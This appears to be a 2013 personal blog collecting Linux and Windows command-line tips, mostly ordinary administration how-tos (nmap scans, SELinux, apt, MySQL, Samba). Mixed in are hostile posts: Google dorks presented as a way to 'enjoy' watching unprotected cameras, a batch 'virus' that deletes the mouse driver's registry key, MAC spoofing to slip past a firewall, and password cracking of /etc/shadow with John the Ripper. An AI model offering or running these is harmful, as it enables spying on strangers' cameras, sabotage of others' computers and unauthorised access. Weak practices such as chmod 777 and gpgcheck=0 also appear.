Friday 19 April 2013

Some Advance command in Linux

How to use 'ls' command to list only directories?

#ls -ld */
(or)
#ls -lp | grep ^dr
(or)  
#ls -pl | grep /$

Commands to get the PCI device information

# lspci
# lspci -v
# kudzu -p
# dmidecode --type 9
# lshw -short  (3rd party utility, package needs to be installed)

Automatically logout inactive SSH sessions

Typically in an Enterprise setup, we would see Users login from various terminals via SSH but never bother to disconnect the established session. This might cause a slight overload on the Network, since these Established sessions have to maintain their connections by sending Alive packets. So I guess it would be appropriate if we make these Users automatically Logout after a certain period of Inactivity (say 1 hour).

Solution 1:
Create a file called "autologout.sh" under /etc/profile.d with execute permission.
# touch /etc/profile.d/autologout.sh
# chmod 711 /etc/profile.d/autologout.sh
Add the following entries to it (Assuming we have to automatically Logout the users after 1 hour, which is 3600 seconds).

TMOUT=3600
readonly TMOUT
export TMOUT

Solution 2:
Enable the following directives in SSH config file (/etc/ssh/sshd_config) and reload the 'sshd' service.

ClientAliveInterval 3600
ClientAliveCountMax 0
# service sshd reload  (or)  # service sshd restart

Listing all Linux servers which are up in a network

Situation:
Suppose you want to find all the servers which are Up in Network or in a range of IPs.  We may need this information for trouble-shooting purpose like fixing IP conflicts or to get an idea about how many servers are online at a given point of time.


Solution:
# nmap -v -sP  <Network info>
The network info can be given as a whole network (say 10.10.22.0/24) or as a range (say 10.10.22.1-40).


Example:
[root@rahul-desktop ~]# nmap -v -sP 10.10.10.1-20     ß  Scans servers in the IP range of 10.10.10.1 to 10.10.10.20
Starting Nmap 5.21 ( http://nmap.org ) at 2013-01-31 17:45 IST
Initiating Ping Scan at 17:45
Scanning 20 hosts [2 ports/host]
Completed Ping Scan at 17:45, 1.30s elapsed (20 total hosts)
Initiating Parallel DNS resolution of 20 hosts. at 17:45
Completed Parallel DNS resolution of 20 hosts. at 17:45, 0.00s elapsed
Nmap scan report for tuxedo.integramicro.co.in (10.10.10.1)
Host is up (0.00036s latency).
Nmap scan report for 10.10.10.2 [host down]
Nmap scan report for 10.10.10.3 [host down]
Nmap scan report for 10.10.10.4 [host down]
Nmap scan report for 10.10.10.5 [host down]
Nmap scan report for 10.10.10.6 [host down]
Nmap scan report for 10.10.10.7 Host is up (0.00077s latency).
Nmap scan report for canon3300.rahul.co.in (10.10.10.8) Host is up (0.0024s latency).
Nmap scan report for pcc.rahul.co.in (10.10.10.9) Host is up (0.00063s latency).
Nmap scan report for backup.int.rahul.co.in (10.10.10.10) Host is up (0.00093s latency).
Nmap scan report for 10.10.10.19 Host is up (0.00072s latency).
Nmap done: 20 IP addresses (8 hosts up) scanned in 1.31 seconds
[root@rahul-desktop ~]#

Basic Linux Command-line Tips and Tricks

 Symbols
1.  Everything in Linux is a file including the hardware and even the directories.
2. # : Denotes the super(root) user
3.  $ : Denotes the normal user
4.  /root: Denotes the super user’s directory
/home: Denotes the normal user’s directory.
5.  Switching between Terminals
§  Ctrl + Alt + F1-F6: Console login
§  Ctrl + Alt + F7: GUI login
6.  The Magic Tab: Instead of typing the whole filename if the unique pattern for a particular file is given then the remaining characters need not be typed and can be obtained automatically using the Tab button.
7.   ~(Tilde): Denotes the current user’s home directory
8.   Ctrl + Z: To stop a command that is working interactively without terminating it.
9.  Ctrl + C: To stop a command that is not responding. (Cancellation).
10.  Ctrl + D: To send the EOF( End of File) signal to a command normally when you see ‘>’.
11.  Ctrl + W: To erase the text you have entered a word at a time.
12.  Up arrow key: To redisplay the last executed command. The Down arrow key can be used to print the next command used after using the Up arrow key previously.


The color code of the files is as follows:
Blue: Directory file
White: Normal file
Green: Executable file
Yellow: Device file
Magenta: Picture file
Cyan: link file
Red: Compressed file

File Symbol
-(Hyphen) : Normal file
d=directory
l=link file
b=Block device file
c=character device file

See unprotected cam using google







1. Go to Google and search for "inurl:view/view.shtml" (without quote).
                            
       2. Now open any of the link from the search result and enjoy.
       3. Below is the list of google dork you can use to see more cams.

       GOOGLE DORKS
  • inurl:/view.shtml
  • intitle:”Live View / - AXIS” | inurl:view/view.shtml^
  • inurl:ViewerFrame?Mode=
  • inurl:ViewerFrame?Mode=Refresh
  • inurl:axis-cgi/jpg
  • inurl:axis-cgi/mjpg (motion-JPEG)
  • inurl:view/indexFrame.shtml
  • inurl:view/index.shtml
  • inurl:view/view.shtml
  • intitle:start inurl:cgistart
  • intitle:”live view” intitle:axis
  • liveapplet
  • intitle:snc-z20 inurl:home/
  • intitle:liveapplet
  • intitle:”i-Catcher Console - Web Monitor”
  • intitle:axis intitle:”video server”
  • intitle:liveapplet inurl:LvAppl
  • intitle:”EvoCam” inurl:”webcam.html”
  • intitle:”Live NetSnap Cam-Server feed”
  • intitle:”Live View / - AXIS”
  • intitle:”Live View / - AXIS 206W”
  • intitle:”Live View / - AXIS 210″

Multiple Login In Gtalk In Single System..


Hello Friends Today i want to share a very useful trick with you .This is a simple Gtalk trick by which many users can login in gtalk in a single system without any software or patch.Follow these steps-



1-click on start --> all programs --> Google Talk

2-right click on Google Talk icon and click on properties.

3-In properties dialog box
Target: "C:\Program Files\Google\Google Talk\googletalk.exe" /startmenu

4-replace startmenu with nomutex
then press OK

Enjoy ...............

Make a virus that disable Mouse in Windows


 Virus that disable Mouse

               today we will be making a batch virus which is harmfull it will disable your mouse so think before trying it on yourself.

  • Open Notepad and copy below codes
rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------
  • Save this file as  virus.bat
  • Done you just created your virus.

How to Disabling USB ports In Linux

Disabling USB ports In Linux       

                   
         
If you administrating a small or large workstations running with Linux Desktops and want to disable the USB ports for security so that no one can copy the data via pen drive, try the following steps to disable the USB port(s).

Edit the grub.conf and add the following lines(you need to login as root).
 # vi /boot/grub/grub.conf

Then add the following lines on the right kernel version

kernel /vmlinuz<your-kernel-version> rhgb quiet nousb

Save and exit the file and reboot the system to disable the USB ports and the boot time.

How to change Change MAC Address in Linux

Change MAC Address in Linux
                      
how to for changing the MAC-Address of your hardware network interface (NIC). If a special firewall accept packets only from a special MAC-Address, with this work around you will trick it out to accept packets from your NIC
To check you MAC address
ifconfig | grep HWaddr
1 Stop the service
/etc/init.d/networking stop
ifconfig eth0 down

2 run the command to change MAC Address
ifconfig eth0 hw ether 02:01:02:03:04:08

3 start the service
ifconfig eth0 up

/
etc/init.d/networking start

How to Remove Bad Sector from Hard Disk in Linux

Remove Bad Sector from Hard Disk

                                  
 
Modern disk map bad sector to good sector to avoid any sort of error due to bad sector. If a large number of sector mapped to another sectors that means disk is going to fail
 smartctl command is very helpful command to diagnose disk related problems

To instruct for selftest , we can issue following command
 root# smartctl -l selftest /dev/sda

To get attributes list you can use following command
 root#smartctl -A /dev/sda

The output of above command is self explanatory and help you to recognize if there is any problem on hard disk

How To Convert RPM File Into DEB File in Ubuntu

Convert RPM File Into DEB File in Ubuntu 

Here’s how to convert a .rpm file into a .deb file in Ubuntu using ‘alien’ utility:
1. Issue the following command at the terminal -
sudo apt-get install alien

Enter ‘y’ to confirm the installation.
2. Now we’ll convert ‘teamviewer_linux.rpm’ into a .deb file. Issue the following command at the terminal -
sudo alien <file-name>
In our case,
sudo alien teamviewer_linux.rpm


3. Now issue the following command at the terminal -
sudo chmod 777 teamviewer_8.0.17147-2_i386.deb
This will ensure that users will have permissions to install the converted .deb file.
4. Now let us install teamviewer using the converted .deb file
$ sudo dpkg -i teamviewer_8.0.17147-2_i386.deb

How To Install And Use On-Screen Keyboard In Linux Ubuntu

Use On-Screen Keyboard In Linux Ubuntu

1. Issue the following command at the terminal to ensure that ‘onboard’ is installed in your Linux
Mint / Ubuntu system
$sudo apt-get install onboard

                   
 
2. After the installation is complete, issue the following command at the terminal to start the on-screen keyboard -
$sudo onboard

                 

Enjoy ...........

Thursday 18 April 2013

Tricks for Apt-get command in Ubuntu

Tricks for Apt-get

If you are into the world of Linux or thinking of trying it out, you will most probably stumble upon apt. Due to the increase trend of people shifting to Debian distribution, apt now has become a must know tool.
In fact, apt-get will make your life so easy in Linux that you will stop worrying about how to install and remove software on the Debian GNU/Linux distributions.
So what’s apt?
APT or Advanced Package Tool is basically a Debian package management utility that works with core libraries to handle the installation and removal of software on the Debian GNU/Linux distribution and its variants.
In simple words, if you need to install , remove and update packages apt is the perfect tool for you.

1. Installing packages

Default use,
$ apt-get install < package-name >
e.g. $ apt-get install vlc
To choose a particular version,
$ apt-get install < package-name=1.1 >
For source packages,
$ apt-get source < package-name >
To compile the source packages after downloading them,
$ apt-get source -b <package-name>

2. Re-installing  packages

$ apt-get –reinstall install < package-name >

3. Removing packages

$ apt-get remove < package-name > (Remember : this will not remove the configuration files)
for complete removal ( i.e. with configuration file )
$ apt-get –purge remove  < package-name >

4. Upgrading  packages

$ apt-get upgrade package-name
Upgrade all the packages which needs an upgrade,
$ apt-get -u upgrade
To add a CD to the source list
$apt-get cdrom
To upgrade the whole distribution to a new version,
$ apt-get dist-upgrade

5. Searching for packages

$ apt-cache search package-name
To list all the dependencies of a package and all the other packages that can fulfill that dependency,
$apt-cache depends package-name

6. Checking installed versions or decide the source

$apt-cache policy <package-name >

7. Show full description of a package

$apt-cache show package

8. Check for any broken dependencies

$ apt-get check

9. Clear the cached packages

$ apt-get clean (This command removes everything from the /var/cache/apt and /var/cache/apt/archives directory.)

10. Remove packages that can no longer be downloaded

$ apt-get autoclean
Options provided with apt-get
-f : fix broken dependencies
-m : continue if archives are unlocatable
-u : show a list of upgraded packages as well
-s : reports on the status of the package listed
For more information, visit   http://wiki.debian.org/Apt  or $apt-get –help
Try this when you are free, “This Apt has Super Cow Powers” :) ,
$ apt-get moo
        

Enjoy .......

How to Install Wine 1.5.15 in Ubuntu 12.10/12.04/11.10/Linux Mint


Install Wine 1.5.15 in Ubuntu 12.10 Quantal/Ubuntu 12.04 Precise/11.10/11.04/Linux Mint

Wine lets you run Windows software on other operating systems. With Wine, you can install and run these applications just like you would in Windows.
Wine enables Linux, Mac, FreeBSD, and Solaris users to run Windows applications without a copy of Microsoft Windows. Wine is free software under constant development. Other platforms may benefit as well.

                                                 
What's new in this release:
  • Full support for layered windows.
  • New version of the Gecko engine based on Firefox 16.
  • Support for broadcast sockets used by networked games.
  • Downloaded add-ons installers are now cached.
  • Support for persistent Internet cookies.
  • String optimizations in JavaScript.
  • Various bug fixes.

Install Wine in Ubuntu/Linux Mint open Terminal (Press Ctrl+Alt+T) and copy the following commands in the Terminal:
  • sudo add-apt-repository ppa:ubuntu-wine/ppa
  • sudo apt-get update
  • sudo apt-get install wine1.5
  • sudo apt-get install winetricks

  • How to Use
sudo wine vlc.exe

Basics of SELinux Configuration in Linux

Basics of SELinux

                                                          

What is SELinux?SELinux is a set of security policies/modules which are going to apply on the machine to improve the overall security of the machine. These are the Linux security modules(LSM) which are loaded in to kernel to improve security on accessing services/files which improve security. SELinux is short form of Security Enhanced Linux.
How to set SELinux
SELinux is set in three modes.
  • Enforcing- SELinux security policy is enforced. IF this is set SELinux is enabled and will try to enforce the SELinux policies strictly
  • Permissive – SELinux prints warnings instead of enforcing. This setting will just give warning when any SELinux policy setting is breached
  • Disabled – No SELinux policy is loaded. This will totally disable SELinux policies.

                                                     How Get SELinux Status
command to get the status.
#getenforce
The output will be either “Enabled” or “Disabled”

To see SELinux status in simplified way you can use sestatus
#sestatus
To get elobrated info on difference status of SELinux on different services use -b option
#sestatus -b

                                                    How to Disabling SELinux
We can do it in two ways
1) : edit /etc/selinux/config
change the status of SELINUX fromenforcing to disabled
SELINUX=enforcing
to
SELINUX=disabled
Save the file and exit.

2): Execute below command
echo 0 > /selinux/enforce
or
setenforce 0


                                                        How to Enabling SELinux
1) : edit /etc/selinux/config
change the status of SELINUX fromdisabled to enforcing
SELINUX=disabled
to
SELINUX=enforcing
Save the file and exit.
2) : Execute below command
echo 1 > /selinux/enforce
or
setenforce 1

How to Check if a machine runs on 64 bit or 32 bit Processor/Linux OS?

                    
                 
Before answering above question we have to understand below points.
  1. We can run a 32-bit Operating system on a 64 bit processor/system.
  2. We can run a 64-bit operating system on a 64 bit processor/system.
  3. We cannot run a 64-bit operating system on a 32-bit processor/system.
  4. We can run a 32-bit operating system on a 32-bit processor/system.
Once we are clear about the above 4 points then we can see if our machine have a 64 bit processor or not.
How to check if my CPU is a 64-bit supported processor or not?
There are two commands to check if it’s a 64 bit processor or not
Option 1: use lscpu command to check if it supports multiple CPU operation modes(either 16, 32 or 64 bit mode).
as a normal/root user execute below command
lscpu | grep op-mode
Sample output on a 64-bit processor

rahul@rahul-desktop:~$ lscpu | grep op-mode
CPU op-mode(s): 32-bit,64-bit
Sample output on a 32-bit processor

rahul@rahul-desktop:~$ lscpu | grep op-mode
CPU op-mode(s): 32-bit
If you observe the first output will say that your CPU supports both 32-bit as well as 64 bit operating systems. This indicates that its 64-bit processor from our above 4 rules. But in the second machine it say’s only 32-bit CPU mode which indicates its a 32 bit processor.

Option 2: How to check if my Operating system is a 64-bit or 32-bit?
Before knowing about this you should know about i386, i486 etc naming convention.

What is difference between i386, i486, i586, and i686 OS?
They are the names given by software industry to some software’s for different Intel architectures. If we say i386, its Intel 80386 processor, also known as the i386, or just 386, was a 32-bit microprocessor introduced by Intel in 1985. If I say i486 it’s an Intel 80486, i586 it’s a 80586 and i686 its a 80686 processor. In short they are called as x86 family which are of 32 bit processor. And for 64 bit OS you will get x86_64.
rahul@rahul-desktop:~$ lscpu | grep -i arch
Architecture:          i686

Sample output for 64 bit OS
rahul@rahul-desktop:~$ getconf LONG_BIT
64

Sample output for 32 bit OS
rahul@rahul-desktop:~$ getconf LONG_BIT
32
 
rahul@rahul-desktop:~$ uname -m
i686
rahul@rahul-desktop:~$ uname -p
i686

how to recover grub in redhat linux??

how to recover grub          

                                    
Step 1
just insert the RHEL boot disk in your dvd rom
and type ' linux-rescue'  and follow the steps this will take you in rescue mode and you will find the single mode 'recovery' prompt #
Now one message just above to the # displayed and is saying that :your system is mounted under the /mnt/sysimage directry '
Step 2
Type the command

# chroot /mnt/sysimage

and
#grub-install /dev/sda
a message will tell you about successfully installed and no error found.
simple exit reboot and .............
Start
OR
secondly when You failed to install grub using above commands  use this

1. grub

2. grub> root (hd0,0)
Filesystem type is ext2fs, partition type 0×83
3.grub> setup (hd0)
Checking if “/boot/grub/stage1″ exists… no
Checking if “/grub/stage1″ exists… yes
Checking if “/grub/stage2″ exists… yes
Checking if “/grub/e2fs_stage1_5″ exists… yes
Running “embed /grub/e2fs_stage1_5 (hd0)”… 15 sectors are embedded.
succeeded
Running “install /grub/stage1 (hd0) (hd0)1+15 p (hd0,0)/grub/stage2 /grub/grub
.conf”… succeeded
Done.
4grub> quit
Now you have grub reinstalled into the master boot record of your machine.
Reboot and See
                                

how to crack Linux password

 Crack Linux password:                                        



Using  unshadow and john commands

Install John the Ripper Password Cracking Tool

John the ripper is not installed by default. If you are using Debian / Ubuntu Linux, enter:

rahul@rahul-desktop:~$ sudo apt-get install john
Note: RHEL, CentOS, Fedora, Redhat Linux user can grab john the ripper here. Once downloaded use rpm command:

rahul@rahul-desktop:~# rpm -ivh john*

How do I use John the ripper to  crack passwords?

First use the unshadow command to combines the /etc/passwdand /etc/shadowfiles so John can use them. You might need this since if you only used your shadow file,  On a normal system you’ll need to run unshadow as root to be able to read the shadow file. So login as root or use sudo / su command under
In Debian / Ubuntu Linux 
$ sudo /usr/sbin/unshadow /etc/passwd /etc/shadow > /tmp/crackpasswd.db

In RHEL / CentOS / Fedora

# /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crackpasswd.db

WARNING! Do at your own risk
To use John, you just need to supply it a password file created using unshadow command along with desired options.

To Crack Passwd
rahul@rahul-desktop:~$sudo john /tmp/crackpasswd.db
Output:
Created directory: /root/.john
Loaded 5 password hashes with 5 different salts (generic crypt(3) [?/32])
redhat (rahul)
654321 (test)

This procedure will take its own time. To see the cracked passwords, enter:


rahul@rahul-desktop:~$john -show /tmp/crackpasswd.db
test:654321:1002:1002:test,,,:/home/test:/bin/bash
rahul:redhat:1003:1003::/home/rahul:/bin/bash
2 passwords cracked, 4 left
Above output clearly indicates - user test has 654321 and rahul has redhat password.

Enjoy................

Java Installation step by step in Linux and Ubuntu

Java 1.7 Installation                         


Download Java Package HERE

  • Create a Directory
root@rahul-desktop~]#mkdir -p /usr/java
  • Extract JDK.tar file to the Directory
root@rahul-desktop~]#tar -xvf jdk-7u11-linux-i586.tar.gz -C /var/java
  • Now delete the old java and update new

root@rahul-desktop~]#cd /etc/alternatives/

root@rahul-desktop alternatives]# rm -f java javac keytool
root@rahul-desktop alternatives]# ln -s /usr/java/jdk1.7.0_11/bin/java .
root@rahul-desktopalternatives]# ln -s /usr/java/jdk1.7.0_11/bin/javac .
root@lrahul-desktop alternatives]# ln -s /usr/java/jdk1.7.0_11/bin/keytool .

  • Set the class path
root@rahul-desktop~]# vi .bash_profile or .bashrc
export PATH=$PATH:/usr/java/jdk1.7.0_11/bin/
export CLASS=$CLASSPATH:/usr/java/jdk1.7.0_11/jre/lib
:wq!

  • Now Verify 
root@rahul-desktop~]#source .bashrc
root@rahul-desktop~]#echo $JAVA_HOME
/usr/java/jdk1.7.0_11
root@rahul-desktop~]#java -version
java version "1.7.0_11"
Java(TM) SE Runtime Environment (build 1.7.0_11-b21)
Java HotSpot(TM) Client VM (build 23.6-b04, mixed mode)

Install Configure MySQL Server in Ubuntu

Install MySQL 
                                    

Type the following command to install MySQL server and client
sudo apt-get install mysql-server mysql-common mysql-client

to check the service
sudo netstat -tap | grep mysql
Edit /etc/mysql/my.cnf, enter:
sudo vi /etc/mysql/my.cnf

bind-address = 192.168.0.5
Review MySQL settings (the defaults are fine for small usage). To start / stop / restart mysql use the following commands:
sudo /etc/init.d/mysql start
sudo /etc/init.d/mysql stop 
sudo /etc/init.d/mysql restart

Set MySQL root User Password
By default there is no root password for MySQL. Type the Following command to set password:
mysqladmin -u root password 'My-Secret-Password'

Create a Sample Database and User For Testing Purpose
First connect to server, enter:
mysql -u root -p
 Enter password: 
Sample Outputs:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 37
Server version: 5.5.34-0ubuntu0.12.04.1 (Ubuntu
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.lear the buffer. mysql> 
 
Create a database called testdb, type the following at 
mysql> prompt:

mysql> CREATE DATABASE testdb;
Create a user called rahul with password redhat@123, enter:
 
mysql> GRANT ALL ON testdb.* TO rahul@localhost IDENTIFIED BY 'redhat@123';
mysql>FLUSH PRIVILEGES;

To show the database type the command:
mysql>show databases;
To quit just type \q and hit [Enter] key.

Set a static IP address in Ubuntu 12.04 Precise Pangolin

Set a static IP address in Ubuntu 12.04 Precise Pangolin

It is not intuitively obvious how to assign Ubuntu 12.04 Precise Pangolin a a static IP address from the command line. However, much of Linux administration involves the editing of text files, and assigning a static IP address is no different. You’ll need to edit the following file:
                            

/etc/network/interfaces
Initially, the file only contains information about your local loopback address:

auto lo
iface lo inet loopback

To assign a static IP address, you’ll need to make some changes to this file.
Let’s say you want to assign a static IP of 10.10.10.142 to your eth0 network connection (the first Ethernet adapter on your system; if you only have one, it will be eth0), with a subnet mask of 255.255.0.0 and a local gateway of 10.10.10.1 First, make a backup copy of the interfaces file:
rahul@rahul-desktop:~$sudo cp /etc/network/interfaces ~
This will make a backup copy in your home directory in case something goes amiss during the editing process. Next, fire up a text editor:

rahul@rahul-desktop:~$ sudo vim /etc/network/interfaces

Once the file is open, add the following lines:
iface eth0 inet static
address 10.10.10.142
netmask 255.255.0.0
gateway 10.10.10.1

Once you’ve added these lines, save the interfaces file to disk, and exit your text editor.
You’ll then to need have your system load the new IP configuration. You can do that by rebooting or restarting the service  you can use this command to force Ubuntu to re-read the configuration files:
rahul@rahul-desktop:~$ sudo ifup eth0
Or
rahul@rahul-desktop:~$sudo /etc/init.d/networking restart
Your system will then have a static IP address.

Samba Configuration in Ubuntu and Linux

 Samba Configuration

                                           
One of the most common uses of a Ubuntu 12.04 Precise Pangolin machine – whether a server or a desktop – is to share files across the network. If you’re not familiar with the term, “file sharing” means to make a folder on your system available to clients on the network. Most Ubuntu 12.04 Precise Pangolin systems use the “Samba” software, since it is can easily share files with Windows-based computers.
In this post we’ll show you how to set up a basic Samba server, and how to access those shares from client computers, on a Ubuntu 12.04 Precise Pangolin machine.

Samba has a vast array of options and configuration settings, but here we’ll show you how to set up and configure a basic Samba server with one user.
First, you’ll need to install Samba. Make your way to a command prompt and type this command:
For Ubuntu
rahul@rahul-desktop:~$ sudo apt-get install samba

For Linux
rahul@rahul-desktop:~$ yum install samba

It’s important to realize about Samba is that it stores its own set of user accounts, separate from the main accounts, in the /etc/samba/smbpasswd file. That means you’ll need to create a separate Samba password for every user you want to access your file shares.
You create this password using the smbpasswd command. For example, to create a command for a user named camalas, here’s how the command should look:

rahul@rahul-desktop:~$ sudo useradd rahul
rahul@rahul-desktop:~$ sudo smbpasswd -a rahul

 Once rahul’s password is created, the next step is to configure the file

rahul@rahul-desktop:~$sudo vim /etc/samba/smb.conf

The smb.conf file is long and rather complex, but for the purposes of this demonstration, you can ignore most of it. Key down to the very end of the file and insert this text:
[samba-share]
   comment = For me only
   browseable = yes
   writable = yes
   path = /home/rahul
   printable = no
   guest ok = no
   valid users = rahul
                           

The settings specified above will share the samba-share folder we created earlier, and give your username and your username alone permission to read and write to the folder. Once you have input the changes, save smb.conf, exit vi, and restart Samba with this command:

rahul@rahul-desktop:~$sudo /etc/init.d/smb start

Once Samba has started, use this command to check your smb.conf for any syntax errors:

rahul@rahul-desktop:~sudo testparm
If you pass the testparm command, Samba should be working. Try accessing the share from another client on your LAN.

Now Access in Windows
go to run and type //IPof samba server
like //10.10.10.142
                                      


Watch My youtube Video for your reference .................................................


Install TeamViewer on Ubuntu

Install TeamViewer

Here’s a quick new for Linux users. TeamViewer 8.0 has just been released for Windows, Mac and beta version for Linux systems. This brief tutorial will show you how to install it in Ubuntu 12.04 if you haven’t already done so.
If you already know what TeamViewer is, then good for you. If not, then here’s a quick run down of it.
It is a remote support tool that lets you connect to remote systems over the Internet. It is free for personal use. To use it in a commercial environment, you must obtain a license.
So what’s new in the version? For starter, it has a new feature called Session handover where control can be switched between participants. You can new share to groups on your computer and contact list, print remotely and is tightly integrated with Outlook for scheduling and meetings.
To get started, press Ctrl – Alt – T on your keyboard to open the terminal. When it opens, run the commands below to download Teamviewer 8 (32-bit) in Ubuntu. or other version Download HERE
wget http://www.teamviewer.com/download/version_8x/teamviewer_linux.deb


Next, run the commands below to install TeamViewer 8 in Ubuntu 12.04

rahul@rahul-desktop:~$ sudo dpkg -i teamviewer_linux.deb 


                              

 Enjoy!

Commands To Update / Upgrade All Packages in Ubuntu 12.04 or 12.10

Commands To Update Ubuntu

There are many ways to update and upgrade packages in Ubuntu 12.10 (Quantal Quetzal) systems. Two of the most frequently used methods are via the command line and your desktop tools (GUI). Updating your system via the command-line is the fastest way to do it, even though it’s not the easiest for some new users. Ubuntu pros actually prefer this method and this brief tutorial is going to show you how to easily update and upgrade all packages and software using a one-line command via the terminal.
Whether you’re a pro user or a new user, one thing is true – you must update your system regularly to fix issues, improve performance and protect yourself from vulnerabilities. By default, Ubuntu updates itself automatically once a week or few days. But if you wish to immediately update and upgrade programs then you can’t wait a week. You must perform a manual update.
To do it via the desktop GUI method, go to Ubuntu Dash and search for Software Updater. When it opens, view the packages that are going to be updated and/or upgraded and press OK or Update.




To perform the same system update or upgrade from the command line, press Ctrl – Alt – T on your keyboard to open the terminal. When it opens, run the commands below to upgrade all program packages in Ubuntu.
sudo apt-get update && sudo apt-get dist-upgrade
rahul@rahul-desktop:~$ sudo apt-get update && sudo apt-get dist-upgrade
[sudo] password for rahul:


The above commands perform a full system upgrade of packages and software. If there were any outstanding updates for any program, it will be updated and/or upgraded. As you can see, the two methods accomplish the same goal, but one is quicker and easier than the other.
Which will you choose to update your system?
Enjoy!

Some useful Keyboard Shortcuts for Ubuntu

ome useful Keyboard Shortcuts for Ubuntu


INFORMATION: As well as using your mouse to operate software, you can also use your keyboard to perform specific functions. This post provides a list of keyboard shortcuts which you may find useful.The list has been made for Ubuntu 10.04. and upper.
To find (and change) system-level keyboard shortcuts, one can (at least in later, GNOME-based distros, e.g. ubuntu karmic) run the Keyboard Shortcuts applet, e.g. via System>Preferences>Keyboard Shortcuts on the main menu.

NOTE: Although most of the shortcuts works in all the versions but with development of new Ubuntu versions you may find some of them to be obsolete.

KEYBOARD SHORTCUTS:

1.) Open TERMINAL : Ctrl + Alt + T

2.) Minimizing all windows(or toggle Show Desktop): Ctrl + Alt + D

3.) Open RUN window: Alt + F2

4.) Take Screen-shot of Whole Screen : Prt Sc

5.) Take Screen-shot of the current window: Alt + Prt Sc

6.) Switching between currently opened windows in Forward direction : Alt + Tab

7.) Switching between currently opened windows in Reverse direction : Alt + Tab + Shft

8.) Switching between workspaces Left/Right :  Alt + Ctrl + Left/Right Arrow

9.) Move Current window to Left/Right Workspace : Alt + Ctrl +Shft +Left/Right Arrow

10.) Switch to Console Mode:  Ctrl + Alt + F1 (F2-F6)

11.) Switch between Consoles in Console Mode: Alt + F1(F2-F6)

12.) Switch to GNOME GUI mode : Alt + F7 or type startx (in CLI) 

13.) Create a folder : Ctrl + Shft + N

14.) Copy/Paste content from terminal: Ctrl + Shft + (C/V)

15.) Clear the screen in terminal: Ctrl + L

Recover Lost Passwords in Ubuntu 12.04 (Recovery Mode)

Recover Lost Passwords

This brief tutorial is going to show you how to easily reset your forgotten password in Ubuntu 12.04 Precise Pangolin.
Let’s face it, some of us do forget our passwords. Unlike Windows, resetting your forgotten password in Ubuntu 12.04 isn’t too difficult. All you have to do is login to the recovery mode at your boot prompt and reset it.
This short tutorial is going to show you how.
To get started, power on your Ubuntu computer while holding down the Shift Key on your keyboard. At the boot menu (GRUB) select (Recovery Mode)
              


Then scroll down to root and press Enter.
             


Next, run the commands below to remount root
mount -rw -o remount /
           


Finally, run the commands below to create / change your password.
passwd username


Enjoy...........................................................................................................................

YUM Server Configuration in RHEL 6 (Yellow Dog Updater Modified)


YUM Server Configuration 
                                 
Server side configuration:

Step 1:
Install createrepo.rpm from the DVD for creating repository.
#rpm -ivh createrepo.rpm
#rpm -ivh vsftpd.rpm (for FTP server)

Step 2:
Copy all rpms form the DVD and past over the hard disk share them up in NFS.
#createrepo -v  /path-to-rpms
eg:#createrepo -v /var/ftp/pub
It will take several minutes that depends upon the number of rpms that you have copied from the DVD specified and the configuration of your machine.

Step 3: 
#service vsftpd restart
Touch the following file with the contents specified.
#vim /etc/yum.repos.d/anyname.repo
[redhat]
name=rhel (or any name)
baseurl=ftp://10.10.10.101/pub/  (Give the Ipaddress of the YUM server) 
enabled=1
gpgcheck=0
:wq

Step 4:
Verify using this command
#yum repolist
Use the yum server in the same machine because server is the first client of the same service most of the times the following command is used for install gcc compiler
#yum install gcc
                                      
                                                                        
 
Client side configuration:

Touch the following file with the contents specified.
#vim /etc/yum.repos.d/somename.repo
[base]
name=rhel (or any name)
baseurl=ftp://10.10.10.101/pub/  (Give the Ipaddress of the YUM server) 
enabled=1
gpgcheck=0
:wq
#yum repolist   (just for verification)
#yum install gcc (just for an example)